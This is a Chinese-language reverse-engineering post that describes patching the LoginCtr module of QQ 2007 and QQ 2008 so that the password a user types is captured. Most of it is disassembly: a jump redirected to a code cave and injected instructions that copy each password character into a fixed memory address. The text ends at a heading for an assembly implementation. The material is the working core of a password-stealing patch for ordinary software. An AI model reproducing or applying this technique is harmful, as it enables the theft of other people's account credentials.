本文参考于open[xgc]大侠的"利用Debug Api 获得QQ2007密码",我只是换了语言换了方法,其实思路还是一样的.再次对open[xgc]表示感谢. 标 题: 修改QQ执行顺序,获取QQ2008最新版密码 作 者: sLtYJ(4stone) 版权声明: 本文纯属技术交流, 转载请注明作者并保持文章的完整, 谢谢! 参考open[xgc]大侠的文章,找到2007 7.1.643.400版及2008 8.0.714.201版本QQ的密码出现点,修改代码跳转至空白位置,然后将代码按个写入自己找到的空白位置即可. 列出2007办部分修改后的代码: 021A638A |> /43 /INC EBX 021A638B |. |6A 01 |PUSH 1 021A638D |. |8BC3 |MOV EAX, EBX 021A638F |. |0FAFC6 |IMUL EAX, ESI 021A6392 |8A4C08 FF MOV CL, BYTE PTR DS:[EAX+ECX-1] 021A6396 |E9 4F240100 JMP LoginCtr.021B87EA //修改点,跳至空白点 021A639B |90 NOP 021A639C |90 NOP 021A639D |90 NOP 021A639E |90 NOP 021A639F |90 NOP 021A63A0 |. |50 |PUSH EAX 021A63A1 |884D D4 MOV BYTE PTR SS:[EBP-2C], CL 021A63A4 |E8 4AD30000 CALL LoginCtr.021B36F3 021A63A9 |. |8B57 44 |MOV EDX, DWORD PTR DS:[EDI+44] 021A63AC |. |83C4 0C |ADD ESP, 0C 021A63AF |. |8B0A |MOV ECX, DWORD PTR DS:[EDX] 021A63B1 |. |8B72 0C |MOV ESI, DWORD PTR DS:[EDX+C] 021A63B4 |. |8B41 F8 |MOV EAX, DWORD PTR DS:[ECX-8] 021A63B7 |. |99 |CDQ 021A63B8 |. |F7FE |IDIV ESI 021A63BA |3BD8 CMP EBX, EAX 021A63BC ^\7C CC JL SHORT LoginCtr.021A638A 补上自己的代码: 021B87EA 52 PUSH EDX 021B87EB BA 56CC1200 MOV EDX, 12CC56 021B87F0 03D3 ADD EDX, EBX //借用QQ程序本身的EBX计数器 021B87F2 36:880A MOV BYTE PTR SS:[EDX], CL //向12CC56开始逐个写入密码 021B87F5 5A POP EDX 021B87F6 8D45 D4 LEA EAX, DWORD PTR SS:[EBP-2C] 021B87F9 50 PUSH EAX 021B87FA 8D85 58FFFFFF LEA EAX, DWORD PTR SS:[EBP-A8] 021B8800 ^ E9 9BDBFEFF JMP LoginCtr.021A63A0 //跳回原处继续执行 021B8805 90 NOP 用ASM代码实现如下: GetQQpwd.Asm